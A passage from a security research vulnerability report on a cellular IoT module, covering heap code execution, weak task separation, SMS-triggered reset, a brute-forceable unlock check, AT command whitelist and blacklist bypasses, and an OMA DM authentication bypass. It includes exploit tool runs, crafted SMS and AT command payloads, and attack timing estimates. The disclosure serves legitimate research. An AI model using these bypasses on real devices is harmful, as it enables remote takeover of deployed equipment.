The target CPU doesn't implement any memory protection for dynamically (heap) allocated memory.
The following sample shows execution of a script that allocates memory on the heap,
fills it with ARM opcodes corresponding to `retmagic.s` subroutine and then executes
it:
```
telcin> run heapexec.scr
telcin> telcin> malloc 0x40
res: 0x83ba1fb8
telcin> telcin> wmem $INVOKE_RES 010000ea52534741ddccbbaafe5f2de910001fe5fe9fbde
80000a0e10000a0e1
writing data to 83ba1fb8
00000000: 01 00 00 ea 52 53 47 41 dd cc bb aa fe 5f 2d e9 ....RSGA....._-.
00000010: 10 00 1f e5 fe 9f bd e8 00 00 a0 e1 00 00 a0 e1 ................
telcin> telcin> invoke $INVOKE_RES
[INVOKE 0x83ba1fb8]
- a1 = 0x00000000
- a2 = 0x00000000
- a3 = 0x00000000
- a4 = 0x00000000
- a5 = 0x00000000
- a6 = 0x00000000
- a7 = 0x00000000
- a8 = 0x00000000
res: 0xaabbccdd
```
The `retmagic` subroutine does one thing, it return a magic value of `0xaabbccdd` in
register r0:
```
_start:
b _skip
.word MAGIC_START
.magic:
.word 0xaabbccdd
_skip:
push {r1-r12,lr}
ldr r0,.magic
pop {r1-r12,pc}
end:
```
This is the result shown by the execution above.
### ISSUE 7 - TARGET OS WITH WEAK TASK / MEMORY SEPARATION
The target operating system is running nearly 180 tasks as shown by the output below:
```
telcin> threads
PMUIRQBH addr: 812ab064 func: 8611824d
TS_ST_TIMER addr: 80db50fc func: 8611824d
TS_SD_TIMER addr: 80db51e8 func: 8611824d
TS_LP_TIMER addr: 80db5010 func: 8611824d
EXPTHR addr: 80d09010 func: 861119bf
EXPHIGHP addr: 80d0914c func: 86111adb
STARTTHR addr: 80d09288 func: 86111bcf
EXPSDTTH addr: 80db2008 func: 860bfccd
STARTTHR addr: 80db2144 func: 860bfdb1
HPBH addr: 812a5100 func: 8611824d
I2C_TASK addr: 815d8008 func: 86055b09
I2C1_HISR addr: 815da2bc func: 8611824d
SEC_DMA2_INT_BH_TX addr: 81945b58 func: 8611824d
DMA2_INT_BH_RX addr: 81945c44 func: 8611824d
DMA2_INT_BH_ERR addr: 81945d30 func: 8611824d
NVM_TASK addr: 80eab008 func: 860a3a8d
TadOctTh addr: 805b2034 func: 866d449b
TadOctBthf addr: 80f31898 func: 8611824d
gate_rt addr: 80f24834 func: 86222225
EDUMP addr: 81899164 func: 8671915b
EICC_HISR addr: 816cf014 func: 8611824d
EPHY_TAS addr: 8189e000 func: 866f5bb1
ERTT_HP_ addr: 818a70a0 func: 866f0477
ERTT_LP_ addr: 818a91b4 func: 866f048f
gct addr: 809c5e00 func: 86124035
GctBh addr: 809c5ed4 func: 8611824d
GctCbBh addr: 809c69e0 func: 8611824d
sio_l2pd addr: 809ceb90 func: 86138965
...
```
System tasks are however executed in a similar address space as Java task:
```
telcin> thread "LTE Main"
[LTE Main]
addr: 80e42c24
func: 86691fb9
handler: 863798d4
next: 80e5d90c
prev: 813e4110
delhandler: 00000000
telcin> thread JVM
[JVM]
addr: 81ecdca8
func: 86b31778
handler: 863798d4
next: 81f61598
prev: 80e9febc
delhandler: 86b31708
```
System tasks' memory is also available for access to Java task.
This is partly due to the fact that the target ARM11 process is running in Supervisor mode:
```
telcin> cpuinfo
[CPU INFO]
- vendor: ARM Limited
- model: ARM1176
- mode: Supervisor
- MMU: enabled
```
As result, all memory corresponding to device flash and RAM can be extracted from the device.
OS operation (tasks execution flow) can be manipulated. OS implementation can be also reverse
engineered.
Sample memory content acquired with the use of `extractmem` command is available in `device`
directory.
The results of reverse-engineering are available in `data` directory.
### ISSUE 8 - ATSJMLED MIDLET (NO AUTH FOR RESET)
DGL61-W contains ATSJMLED midlet, which is automatically executed upon system start-up. This
is due to the `Oracle-MIDlet-Autostart` JAD property:
```
MIDlet-1: Main,,Main
MIDlet-Jar-Size: 345412
MIDlet-Jar-URL: ATSJMLED.jar
MIDlet-Name: ATSJMLED
MIDlet-Vendor: Mullenger
MIDlet-Version: 0.1.27
MicroEdition-Configuration: CLDC-1.1
MicroEdition-Profile: IMP-NG
Oracle-MIDlet-Autostart: 1
Oracle-MIDlet-Restart: true
Oracle-MIDlet-Restart-Count: 1000
autoStartWWAN: 1
allowRestarts: 1
```
The ATSJMLED is the only application running on the device along JRC:
```
telcin> appinfo -r
#### RUNNING APPS ####
[ATSJMLED]
url: a:/ATSJMLED.jad
vendor: Mullenger
version 0.1.27
autostart: 1
priority: 0
[Java Remote Control MIDlet Suite]
url: a:/JRC-1.62.04.jad
vendor: Cinterion
version 1.62.04
autostart: 1
priority: 1
```
ATSJMLED midlet registers SMS listener, which awaits commands delivered as text messages.
One of the commands make it possible to restart the module:
```
test@boytoy:~/telcin/exploit$ ./run -c restart -v
## ATSJMLED exploit #
## (c) SECURITY EXPLORATIONS 2018 Poland #
## http://www.security-explorations.com #
## (c) AG Security Research 2019-2022 Poland #
## http://www.agsecurityresearch.com #
## #
- number = +48xxxxxx
- plaintext = false
- cmd = restart
- imei = 6088
- imsi = 8747
- idx = -1
- endidx = -1
- atcmd = null
- batch = false
- verbose = true
[RESTART]
* PLAIN MSG: RESTART
* ENCR MSG: SECMSG9312bd3a8ec06cf54aef28fbfa64fca5
```
Upon reception by the module of the RESTART command (with ATSJMLED code changed, so that
it allows for the logging of SMS input and output to `System.out`), the following output
can be observed on the console:
```
[ATCommandListener]: '+CIEV: ceer,26,187'
[Main]: AT^SWWAN=1,1 (for autoStartWWAN)
[ATCommandListener]: '+CIEV: ciphcall,1'
[ATCommandListener]: '+CMTI: "SM",15' is missing "\n"!
AGSR checkIncomingCharacters: SECMSG9312bd3a8ec06cf54aef28fbfa64fca5
AGSR in msg len: 7
AGSR in msg: RESTART
[HardwareManager]: Module will now be restarted using AT+CFUN=1,1.
[HardwareStatusThread]: Thread has finished.
[MyRuntimeThread]: Thread has finished.
...
```
The module gets indeed rebooted.
### ISSUE 9 - ATSJMLED MIDLET (BAD LOGIC FOR AUTH CHECK)
ATSJMLED implements support for AT commands execution. Before it can be used, that functionality
needs to be unlocked though. And unlocking requires a security check (SPC check).
The security check does the following:
- it verifies whether the SPC try counter value is less than 5, if this is the case
steps 1-5 get executed
- it retrieves 4 last digits of the device IMEI number (IMEI4)
- it retrieves 4 last digits of the device IMSI number (IMSI4)
- it calculates the SPC value, which is the IMEI4 XOR IMSI4, the result is mapped to letters
- it verifies whether the value provided for the SPC by the user inside SMS message
matches the SPC
- if there is a match, AT commands execution get unlocked (magic `ssh` directory is created in
the root of A:/ to mark that), if not the SPC try counter value is incremented
Theoretically, the possible space for valid SPC values is 4^16=65536 (decimal digit represented
as a 4bit value when XORed with another decimal digit can produce a hex digit, this ^16).
The probabiity that the user can successfully guess the SPC value within the 5 possible try counts
is 5/65536 and it should require 65536 SMS messages to send...
These are only theoretical basis though as:
- the SPC try counter can be reset to zero through ATSJMLED restart (RESTART SMS command +
ATSJMLED launch at system start up attribute).
- the check for valid SPC string is conducted with the use of `indexOf` method of java.lang.String
class
```
private boolean SPC(String s)
{
boolean flag = false;
if(spc != null && spc.equals(""))
if(!HardwareManager.getRedactedIMEI().equals("") && !SimManager.getRedactedIMSI().equals(""))
{
byte abyte0[] = HardwareManager.getRedactedIMEI().getBytes();
byte abyte1[] = SimManager.getRedactedIMSI().getBytes();
if(abyte0 != null && abyte1 != null)
{
abyte0[0] = (byte)((abyte0[0] ^ abyte1[0]) + 65);
abyte0[1] = (byte)((abyte0[1] ^ abyte1[1]) + 65);
abyte0[2] = (byte)((abyte0[2] ^ abyte1[2]) + 65);
abyte0[3] = (byte)((abyte0[3] ^ abyte1[3]) + 65);
spc = new String(abyte0);
}
} else
{
System.out.println("[AtcParser]: Warning: SPC init error.");
}
if(s != null && spcErrors <= 4)
{
if(spc != null && spc.length() == 4 && s.toUpperCase().indexOf(" " + spc.toUpperCase()) > 0)
{
spcErrors = 0;
flag = true;
} else
{
System.out.println("[AtcParser]: Warning: SPC incorrect.");
spcErrors++;
spc = "";
}
} else
{
System.out.println("[AtcParser]: Warning: Too many SPC errors.");
}
return flag;
}
```
This makes it possible to "embed" multiple SPC values in one SMS message as illustrated below:
```
[space] SPC_VALUE_1 [space] SPC_VALUE_2 [space] SPC_VALUE_1 [space] ... SPC_VALUE_N
```
Taking into account that the maximum length of the SMS message is 160 characters, this leads
to the possibility to embed (and verify) 30 SPC values at once with the use of on SMS message.
With 5 try counts this yields 150 SPC combinations to check before RESTART message.
After RESTART message, 1 minute or two delay should be taken into account before the modules
gets initialized.
Still, this lets decrease the brute force space for device unlocking by a huge factor (2184
unlock SMS messages instead of 65536).
The unlocking functionality was verified to operate as described above (android\exploit code):
```
[UNLOCK]
* spc OGHI OGHJ OGHK OGHL OGHM OGHN OGHO OGHP OGIA OGIB OGIC OGID OGIE
* PLAIN MSG: #UNLCK OGHI OGHJ OGHK OGHL OGHM OGHN OGHO OGHP OGIA OGIB OGIC OGID OGIE
* ENCR MSG: SECMSGae3922b21cd2c942cc89b457b7bfcf545b9560eaaab035d863998b6674a4d2bb1340d5622e55859af8f0cb6656c809a49fa569d3030f4f388340659033fbeaa7712ad63959da01ad19436785832c55ee
[UNLOCK]
* spc OGIF OGIG OGIH OGII OGIJ OGIK OGIL OGIM OGIN OGIO OGIP OGJA OGJB
* PLAIN MSG: #UNLCK OGIF OGIG OGIH OGII OGIJ OGIK OGIL OGIM OGIN OGIO OGIP OGJA OGJB
* ENCR MSG: SECMSGca6638699121843fcf3c5664be59e504bfd1bda068fe33c7416feefa49c451e99905e7693b1f301fd53ae5276513e3d8cbc3cdf4e7c8924a42fda1d6a16cc26940d842179a0c3a0fea13f2cba89c066e
[UNLOCK]
* spc OGJC OGJD OGJE OGJF OGJG OGJH OGJI OGJJ OGJK OGJL OGJM OGJN OGJO
* PLAIN MSG: #UNLCK OGJC OGJD OGJE OGJF OGJG OGJH OGJI OGJJ OGJK OGJL OGJM OGJN OGJO
* ENCR MSG: SECMSG0d7ae57bd86b51fa8442569a83de06da14d8f3398a4d575a88a784f58c712073010d19df200aa3313c17ebc47505936af6776ea3d3bc1050c3043ee297748d63b703b2dffb6e48b411da2c6f21a12005
[UNLOCK]
* spc OGJP OGKA OGKB OGKC OGKD OGKE OGKF OGKG OGKH OGKI OGKJ OGKK OGKL
* PLAIN MSG: #UNLCK OGJP OGKA OGKB OGKC OGKD OGKE OGKF OGKG OGKH OGKI OGKJ OGKK OGKL
* ENCR MSG: SECMSGeefcd33cdcbac52e11c4ecc33b76ee1e9db44650a499949cf96c828660b04901f024d22b45db3c9bc169fab8c238903c5f1f9f59dde22b09a14f9c5fc755823b4dd9430050a7596c36a8d78a6fb4d609
[UNLOCK]
* spc OGKM OGKN OGKO OGKP OGLA OGLB OGLC OGLD OGLE OGLF OGLG OGLH OGLI
* PLAIN MSG: #UNLCK OGKM OGKN OGKO OGKP OGLA OGLB OGLC OGLD OGLE OGLF OGLG OGLH OGLI
* ENCR MSG: SECMSG2012e39f5ab952adcaae1e45398f0edbf7cca3da53080e52ccecc81e258d6ff14a96bb4068fbd92c7a7f004fc3dce3989559c459127a1ebe096802fd4964d5c3767e5e8a781e718a9038184d9f554cbc
[RESTART]
* PLAIN MSG: RESTART
* ENCR MSG: SECMSG9312bd3a8ec06cf54aef28fbfa64fca5
```
Upon unlocking, the following was observed in the System.out log:
```
[Main]: AT^SWWAN=1,1 (for autoStartWWAN)
AGSR checkIncomingCharacters: SECMSG70b37360230b3667e57358dd5d150211
AGSR in msg len: 11
AGSR in msg: #UNLCK OHMP
[AtcParser]: lockingATCommands() 0 - Unlocked.
[AtcParser]: parseCommandsInSMS() called (true) && (true)
[SmsHandler]: Waiting for next SMS...
```
Sending 2184 SMS messages is to be done in bunch of 5 (the number of SPC try counts). This means,
that about 436 restarts need to be done. Assuming 1min for the restart, the attack should be
completed within 436 minutes (7,28h).
This data can be estimated with the use of Android exploit code too:
```
test@boytoy:~/telcin/exploit$ ./run -c spcinfo -p
## ATSJMLED exploit #
## (c) SECURITY EXPLORATIONS 2018 Poland #
## http://www.security-explorations.com #
## (c) AG Security Research 2019-2022 Poland #
## http://www.agsecurityresearch.com #
## #
[SPCINFO]
- imei: 6088
- imsi: 8747
- spc: OHMP
- idx: 59343
- maxidx: 65536
- attack time: 427 min [7h 7 min]
```
### ISSUE 10 - ATSJMLED MIDLET (WHITELIST BYPASS)
Unlocking AT command in ATSJMLED midlet does not mean that any AT command can be executed on a
device.
The target AT command needs to be on the `ALLOWED` list of commands:
```
private static final String ALLOWED[] = {
"AT^SCFG?", "AT^SCID", "AT^SCPIN", "AT^SGIO", "AT^SSIO", "AT^SCPOL", "AT^SFDL=2", "AT^SGAUTH", "AT^SIND=", "AT^SJAM=",
"AT^SJM", "AT^SJOTAP", "AT^SMONI", "AT^SXRAT", "AT^SGAUTH", "AT^SWWAN", "AT+CCID", "AT+CXXCID", "AT+CEER", "AT+CEREG",
"AT+CFUN", "AT+CGACT", "AT+CGATT", "AT+CGCONTRDP", "AT+CGDCONT", "AT+CGMI", "AT+CGMR", "AT+CGPADDR", "AT+CGREG", "AT+CGSN",
"AT+CHLD", "AT+CIMI", "AT+CLCC", "AT+CNUM", "AT+COPS", "AT+CPLS", "AT+CPOL", "AT+CREG", "AT+CRSM", "ATA",
"ATD444;", "ATI1"
};
```
This can be bypassed though as:
- the device makes it possible to concatenate AT commands with the use of ; character
- the check for the allowed command is again conducted with teh use of with the use of `indexOf` method of `java.lang.String`
class:
```
public String ensureAllowedATCommand(String s, boolean flag)
{
String s1;
if(s != null)
{
s1 = "AT-notAllowed";
for(int i = 0; i < ALLOWED.length; i++)
if(s.trim().toUpperCase().indexOf(ALLOWED[i]) != -1)
{
if(flag)
System.out.println("[AtcParser]: Allowed AT Command '" + s.trim() + "' accepted.");
s1 = s;
i = ALLOWED.length;
}
} else
{
System.out.println("[AtcParser]: ensureAllowedATCommand() aborted.");
s1 = s;
}
if(s1.equals("AT-notAllowed") && flag)
System.out.println("[AtcParser]: Warning not allowed AT Command '" + s.trim() + "' rejected.");
return s1;
}
```
The exploit requires to send `;ATI1` at the end of any AT command to execute for the bypass.
This behavior of the AT command processor can be verified with teh use of command shell:
```
telcin> ls
[a:/]
ATSJMLED.jad --r 350
ATSJMLED.jar --r 345412
agent.jar --- 57053
agent.jad --- 416
telcin> set MODEM_VERBOSE 1
telcin> at "at^SFSA='mkdir','A:/test';ATI1"
-> CMD at^SFSA="mkdir","A:/test";ATI1
<- RSP
^SFSA: 0
ERROR
telcin> set MODEM_VERBOSE 0
telcin> ls
[a:/]
ATSJMLED.jad --r 350
ATSJMLED.jar --r 345412
agent.jar --- 57053
agent.jad --- 416
test/ d-- 0
telcin>
```
### ISSUE 11 - ATSJMLED MIDLET (BLACKLIST BYPASS)
Unlocking AT command in ATSJMLED midlet does not mean that any AT command can be executed on a
device.
The target AT command cannot be present on the `BLOCKED` list of commands:
```
private static final String BLOCKED[] = {
"^SCFG=", "^SFDL", "^SFSA", "^SIC", "^SIS", "^SJAM=0", "^SJAM=1", "^SJAM=2", "^SJAM=3", "^SJDL",
"^SJRA", "^SMSEC", "^SMSO", "+CFUN=0", "+CMGS", "+CMUX", "+CPIN=", "+CPIN2=", "ATI^", "ATI+"
};
```
This list contains SFSA (file system access) command.
Again, this can be bypassed too due to the specifics of AT commands handling by the module. More
specifically, the AT command reader tends to skip (eliminate) spaces from the input.
Thus, one can send have arbitrary ` ` (space) characters inserted in AT commands for the AT parser
input. The parser will remove spaces and glue the commands before dispatch (successful one).
Thus, for the successful execution of the SFSA command at the target (unlocked) device, one can
just insert space between ^ and SFSA:
```
est@boytoy:~/telcin/exploit$ ./run -c atcmd -a "^sfsa='mkdir','a:/test'" -v
## ATSJMLED exploit #
## (c) SECURITY EXPLORATIONS 2018 Poland #
## http://www.security-explorations.com #
## (c) AG Security Research 2019-2022 Poland #
## http://www.agsecurityresearch.com #
## #
- number = +48xxxxxx
- plaintext = false
- cmd = atcmd
- imei = 6088
- imsi = 8747
- idx = -1
- endidx = -1
- atcmd = ^sfsa='mkdir','a:/test'
- batch = false
- verbose = true
[ATCMD]
* cmd ^sfsa="mkdir","a:/test"
* PLAIN MSG: #AT^ sfsa="mkdir","a:/test";ATI1
* ENCR MSG: SECMSGf26a91522d40437f39b7e875bdea0f6c86ee63a8e6724017bcb4734480eed54ea0bb852367107b457a86925eabb51020
test@boytoy:~/telcin/exploit$
```
Again, this behavior of the AT command processor can be verified with the use of command shell:
```
telcin> ls
[a:/]
ATSJMLED.jad --r 350
ATSJMLED.jar --r 345412
agent.jar --- 57053
agent.jad --- 416
telcin> set MODEM_VERBOSE 1
telcin> at "AT^ sfsa='mkdir','a:/test';ATI1"
-> CMD AT^ sfsa="mkdir","a:/test";ATI1
<- RSP
^SFSA: 0
ERROR
telcin> set MODEM_VERBOSE 0
telcin> ls
[a:/]
ATSJMLED.jad --r 350
ATSJMLED.jar --r 345412
agent.jar --- 57053
agent.jad --- 416
test/ d-- 0
```
### ISSUE 12 - OMA DM PROVISIONING AUTH CHECK BYPASS
Target device implements functionality related to OMA Device Management. The device contains factory
default values that implicate DM servers of ATT operator:
```
telcin> start a:/agent.jad
OK
telcin> omadmcfg -s omadm.config -p
buf: 0x83ba2cf0
omadm_nvm_sta_read res: 0x00000001
[PRODUCTION]
APPLICATION
- AppID w7
- ServerID Cingular
- Name Cingular
- Addr https://xdm.wireless.att.com/oma
- PortNbr 443
APPAUTH
- AAuthLevel CLCRED
- AAuthType DIGEST
- AAuthName xxxxxxxxxxxxxxx
- AAuthSecret xxxxxxxxxxxxxxxx
- AAuthData null
APPAUTH
- AAuthLevel SRVCRED
- AAuthType DIGEST
- AAuthName Cingular
- AAuthSecret xxxxxxxxxxxxxxxx
- AAuthData null
[LAB]
APPLICATION
- AppID w7
- ServerID ATTLabA
- Name ATTLabA
- Addr https://xdmua.wireless.labs.att.com/oma
- PortNbr 443
APPAUTH
- AAuthLevel CLCRED
- AAuthType DIGEST
- AAuthName xxxxx
- AAuthSecret xxxxx
- AAuthData null
APPAUTH
- AAuthLevel SRVCRED
- AAuthType DIGEST
- AAuthName xxxxxxx
- AAuthSecret xxxxx
- AAuthData null
telcin>
```
The OMA DM Provisioning message requires authentication before any device management operation
can be issued.
There is a vulnerability in the implementation of the security check though. This is illustrated
by the `dm.scr` script:
```
telcin> start a:/agent.jad
OK
telcin> run dm.scr
telcin> telcin> memory device
MEMORY MODE: device
telcin> telcin> wmem 0x8117848C 082906301231707874
writing data to 8117848c
00000000: 08 29 06 30 12 31 70 78 74 .).0.1pxt
telcin> telcin> tracelog
[TRACE LOG]
- trace_handler: 839623d0
- logbuf: 838623c4
- data_size: 00000000
- read_pos: 00000000
- log_full: 0
telcin> telcin> recvdmmsg -p ""
SMS
- FirstOctet
00000000: 74 t
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 04 .
- TimeStamp
00000000: 17 01 0a 13 2e 18 04 .......
- UserData
* hdr len 06
00000000: 05 04 11 22 33 44 ..."3D
* ud len (with hdr) 47
00000000: 01 06 06 00 00 b6 91 80 92 41 42 43 44 45 46 47 .........ABCDEFG
00000010: 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 HIJKLMNOPQRSTUVW
00000020: 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 XYZ[.]^_.abcdefg
00000030: 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 01 01 01 hi..j..F....U...
- DM Push
* transaction_id 01
* PDU type 06
* headers
00
00
b6
91
80
92
- DM Data
* data
00000000: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP
00000010: 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 QRSTUVWXYZ[.]^_.
00000020: 61 62 63 64 65 66 67 68 69 03 0b 6a 00 c5 46 01 abcdefghi..j..F.
00000030: c6 00 01 55 01 01 01 ...U...
OS MSG
00000000: 62 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx b....!.w.t......
00000010: xx xx 00 04 17 01 0a 13 2e 18 04 47 06 05 04 11 ...........G....
00000020: 22 33 44 01 06 06 00 00 b6 91 80 92 41 42 43 44 "3D.........ABCD
00000030: 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 EFGHIJKLMNOPQRST
00000040: 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 UVWXYZ[.]^_.abcd
00000050: 65 66 67 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 efghi..j..F....U
00000060: 01 01 01 ...
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
telcin> telcin> tracelog
[TRACE LOG]
- trace_handler: 839623d0
- logbuf: 838623c4
- data_size: 00005013
- read_pos: 00000000
- log_full: 0
[C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262168,evt=0x2
[C-AT]CatIO_Async_cb:dev_hdl=262168,evt=0x2
~CAT~CatCsiMsNetServingCellMonitorIndCb
~CAT~Cat_CsiMsNetServingCellMonitorIndCb
URC Type : +XSCM >< SIM ID : 0>< count of processors : 29
URC Type : SIGNALSTRENGTH >< SIM ID : 0>< count of processors : 29
URC Type : +XCESQI >< SIM ID : 0>< count of processors : 29
SNMON_ncell_check_update with bSnmonNbcCfg=1, isCellCollectionRun=0, dhc=0, cou
tdown=0
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON for 4G: earfcn=65535, pci=65535
SNMON NBC info: CsiMsNetCellIdReq to rat=0, n_4g=0, n_3g=0
SNMON NBC info: no valid ncell, skip the celll scan.
[C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262168,evt=0x2
[C-AT]CatIO_Async_cb:dev_hdl=262168,evt=0x2
[VRC_Event_OnJrcSetDataMode] disable
SCC: T:1 jBlocked ON
[vrc_jrc_set_datamode] ret = 0
...
URC Type : +XSCM >< SIM ID : 0>< count of processors : 29
Size of the hex data 98
3GPP Deliver message pdu -> 07918405210077F7740B9184xxxxxxxxxx000417010A132E1804
47060504112233440106060000B69180924142434445464748494A4B4C4D4E4F5051525354555657
58595A5B5C5D5E5F60616263646566676869030B6A00C54601C6000155010101
../../3p_oss_apache/libdmclient/src/omadm/omadm_sms.c-OmadmUtaSms3gppFilterFunct
ion(2484): UDHI&L 1 6
OmadmUtaSms3gppFilterFunction: isFragmented = FALSE
../../3p_oss_apache/libdmclient/src/omadm/omadm_sms.c-OmadmSmsGetDmServerDataFro
mWspPacket(656): reassLen 67
omadm_sms_hmac_sha1_hex: digest[0]==d7
omadm_sms_hmac_sha1_hex: digest[1]==7f
omadm_sms_hmac_sha1_hex: digest[2]==c8
omadm_sms_hmac_sha1_hex: digest[3]==8e
omadm_sms_hmac_sha1_hex: digest[4]==9c
omadm_sms_hmac_sha1_hex: digest[5]==16
omadm_sms_hmac_sha1_hex: digest[6]==86
omadm_sms_hmac_sha1_hex: digest[7]==45
omadm_sms_hmac_sha1_hex: digest[8]==c2
omadm_sms_hmac_sha1_hex: digest[9]==a1
omadm_sms_hmac_sha1_hex: digest[10]==4a
omadm_sms_hmac_sha1_hex: digest[11]==71
omadm_sms_hmac_sha1_hex: digest[12]==b0
omadm_sms_hmac_sha1_hex: digest[13]==67
omadm_sms_hmac_sha1_hex: digest[14]==00
omadm_sms_hmac_sha1_hex: digest[15]==ea
omadm_sms_hmac_sha1_hex: digest[16]==df
omadm_sms_hmac_sha1_hex: digest[17]==6c
omadm_sms_hmac_sha1_hex: digest[18]==82
omadm_sms_hmac_sha1_hex: digest[19]==92
OMADMCLIENT(OmadmSmsGetDmServerDataFromWspPacket,714): macval == ABCDEFGHIJKLMNO
PQRSTUVWXYZ[\]^_`abcdefghi¦>j
OMADMCLIENT(OmadmSmsGetDmServerDataFromWspPacket,715): digest == d77fc88e9c16864
5c2a14a71b06700eadf6c8292
OmadmSmsGetDmServerDataFromWspPacket: OMADM_SMS_BOOTSTRAP.
URC Type : +CIEV_SIND >< SIM ID : 0>< count of processors : 29
URC Type : +CIEV_SIND >< SIM ID : 0>< count of processors : 29
OmadmThreadServerDataReceive: omadmLen = 17
OMADM_CLIENT: OmadmClientThreadInit Called
OmadmClientThreadInit: thread created successfully
OmadmClientEnable: SUCCESS : OmadmClientThreadInit()
OMADM_CLIENT: OmadmClientThreadStart Called
OmadmClientThreadStart: Thread started successfully
OmadmClientEnable: SUCCESS : OmadmClientThreadStart()
OmadmThreadServerDataReceive: Success returned from OmadmClientThreadEnable()
OmadmThreadServerDataReceive: OMADM_SESSION_INITIATOR_BOOTSTRAP
OmadmThreadServerDataReceive: Sending message to OMADM thread err=0
OMADM-THREAD(OmadmClientThreadFunction, 474): msg type=3
OMADM_CLIENT: Calling OmadmLibdmStartSession()
DmPluginsInit: Warning: DmPluginsInit Init already done.
OMADM_CLIENT: Calling OmadmLibdmStartSession()
OMADM_LIBDM(OmadmLibdmStartSession,525).....START
OMADM-LINK(OmadmLinkProviderInit, 155) SIMID = 0, CAT_CONTEXTID = 1342177280
OMADM_LIBDM(OmadmLibdmStartSession,560): initiator=3.
OMADM_LIBDM(OmadmLibdmStartSession,585): Handling OMADM_SESSION_INITIATOR_BOOTSTRAP, b
omadmclient_session_start_on_bootstrap : failed to get next token, err = 8206
OMADM_LIBDM(../../3p_oss_apache/libdmclient/src/omadm/omadm_libdm.c,602): err 2.
URC Type : +CIEV_SIND >< SIM ID : 0>< count of processors : 29
OMADM_LIBDM(OmadmLibdmStartSession, 660): Session opening failed: 2
```
As our test is conducted offline, we need to prepare the device a little bit (write IMSI value to
proper memory content). Then a device management message is send locally to atc:1 task.
The message is intentionally flawed (Provisioning WBXML is missing tag). The goal is to
show that the auth is bypassed though as the tracelog:
- is missing `security check fail` message which is issued by the code below upon check failure:
```
ROM:86BDCF08 BLX agsr_omadm_security_check__
ROM:86BDCF0C CMP R0, #0
ROM:86BDCF10 LDRNE R2, =0x2D9
ROM:86BDCF14 LDRNE R1, =aOmadmsmsgetdms_0 ; "OmadmSmsGetDmServerDataFromWspPacket"
ROM:86BDCF18 ADRNE R0, aOmadmclientSDS ; "OMADMCLIENT(%s,%d): security check fail"...
ROM:86BDCF1C BEQ loc_86BDD078 ; -> ok
ROM:86BDCF20
```
- is processing Provisioning message WBXML as indicated by the `wap-provisioningdoc` and APPLICATION
`characteristic` tags.
This implicates successful security check bypass (without providing correct hash / digest values).
#### IMPACT
The possibility to establish a successful OMA DM session with a target device usually implicates the
ability to manage it with the privileges of the device owner. This privilege is usually granted to
mobile network operators (such as ATT or VERIZON WIRELESS - the firmware contains code snippets
indicating such a support).
The devil lies in the details though...
Brief analysis of OMA DM plugins' implementation indicates that these do not implement the `exec` function:
```
ROM:86BDB498 sub_86BDB498 ; CODE XREF: agsr_AttPluginLoadDevInfo+20↓p
ROM:86BDB498 MOV R0, #0x30 ; '0'
ROM:86BDB49C PUSH {R4,LR}
ROM:86BDB4A0 BL agsr_OmadmMalloc_0
ROM:86BDB4A4 MOVS R4, R0
ROM:86BDB4A8 BEQ loc_86BDB4F8
ROM:86BDB4AC MOV R1, #0x30 ; '0'
ROM:86BDB4B0 BL agsr_memset_with_zero
ROM:86BDB4B4 ADR R0, aDevinfo_0 ; "./DevInfo"
ROM:86BDB4B8 BL agsr_omadm_strdup
ROM:86BDB4BC STR R0, [R4] ; base_uri
ROM:86BDB4C0 ADR R0, sub_86BDB464 ; initFunc
ROM:86BDB4C4 STR R0, [R4,#4]
ROM:86BDB4C8 LDR R0, =agsr_AttPluginDMAccPrvClose ; closeFunc
ROM:86BDB4CC STR R0, [R4,#8]
ROM:86BDB4D0 ADR R0, sub_86BDB460 ; isNodeFunc
ROM:86BDB4D4 STR R0, [R4,#0xC]
ROM:86BDB4D8 ADR R0, sub_86BDB418 ; findURNFunc;
ROM:86BDB4DC STR R0, [R4,#0x10]
ROM:86BDB4E0 ADR R0, agsr_wrap_AttPluginDMAccPrvGet_internal_1 ; getFunc
ROM:86BDB4E4 STR R0, [R4,#0x14]
ROM:86BDB4E8 ADR R0, sub_86BDB29C ; setFunc
ROM:86BDB4EC STR R0, [R4,#0x18]
ROM:86BDB4F0 ADR R0, sub_86BDB298 ; getACLFunc
ROM:86BDB4F4 STR R0, [R4,#0x1C]
ROM:86BDB4F8
ROM:86BDB4F8 loc_86BDB4F8 ; CODE XREF: sub_86BDB498+10↑j
ROM:86BDB4F8 MOV R0, R4
ROM:86BDB4FC POP {R4,PC}
```
The `get` and `set` functions do not seem to implement file system based functionality (no download
or file upload). However, the `set` function routes the message to `uta_cat` queue of `UTACAT` thread:
```
ROM:861F6552 PUSH {R3-R5,LR}
ROM:861F6554 MOV R5, R0
ROM:861F6556 MOVS R0, #0x1C
ROM:861F6558 MOV R4, R1
ROM:861F655A BL agsr_wrap_UtaCmmMemoryAllocate
ROM:861F655E CMP R0, #0
ROM:861F6560 BEQ locret_861F6580 ; -> error
ROM:861F6562 MOVS R1, #0xA
ROM:861F6564 STR R1, [R0]
ROM:861F6566 MOVS R1, #0x14D
ROM:861F656A STR R5, [R0,#4]
ROM:861F656C STR R1, [R0,#8]
ROM:861F656E LDM R4, {R1-R4}
ROM:861F6570 MOV R5, R0
ROM:861F6572 ADDS R5, #0xC
ROM:861F6574 STM R5!, {R1-R4}
ROM:861F6576 MOV R1, SP
ROM:861F6578 STR R0, [SP]
